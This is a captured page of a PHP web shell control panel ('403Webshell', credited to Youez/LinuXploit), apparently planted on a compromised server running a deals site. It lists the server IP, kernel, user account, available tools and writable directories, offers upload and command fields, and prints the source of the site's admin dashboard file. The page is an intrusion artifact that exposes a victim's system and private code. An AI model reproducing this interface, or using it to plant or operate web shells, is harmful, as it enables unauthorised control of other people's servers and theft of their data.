403Webshell
Server IP : 69.72.244.102  /  Your IP : 216.73.216.164
Web Server : LiteSpeed
System : Linux s3434.fra1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : konzalta ( 1271)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/konzalta/soko.chat/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/konzalta/soko.chat/admin/dashboard.php
<?php
require_once __DIR__ . '/../app/auth.php'; require_admin();
function scalarq($pdo,$sql){return $pdo->query($sql)->fetchColumn();}
$pending=scalarq($pdo,"SELECT COUNT(*) FROM deals WHERE status='pending'");$published=scalarq($pdo,"SELECT COUNT(*) FROM deals WHERE status='published'");$inbox=scalarq($pdo,"SELECT COUNT(*) FROM whatsapp_inbox WHERE processing_status='new'");$views=scalarq($pdo,"SELECT COALESCE(SUM(views_count),0) FROM deals");
?>
<!doctype html><html><head><meta charset="utf-8"><title>Dashboard</title><link rel="stylesheet" href="<?= e(APP_URL) ?>/assets/css/style.css"></head><body><?php include __DIR__.'/partials_header.php'; ?><div class="wrap"><h2>dashboard</h2><div class="kpis"><div class="kpi"><strong><?= e($pending) ?></strong>pending</div><div class="kpi"><strong><?= e($published) ?></strong>published</div><div class="kpi"><strong><?= e($inbox) ?></strong>whatsapp inbox</div><div class="kpi"><strong><?= e($views) ?></strong>views</div></div></div></body></html>

Youez - 2016 - github.com/yon3zu
LinuXploit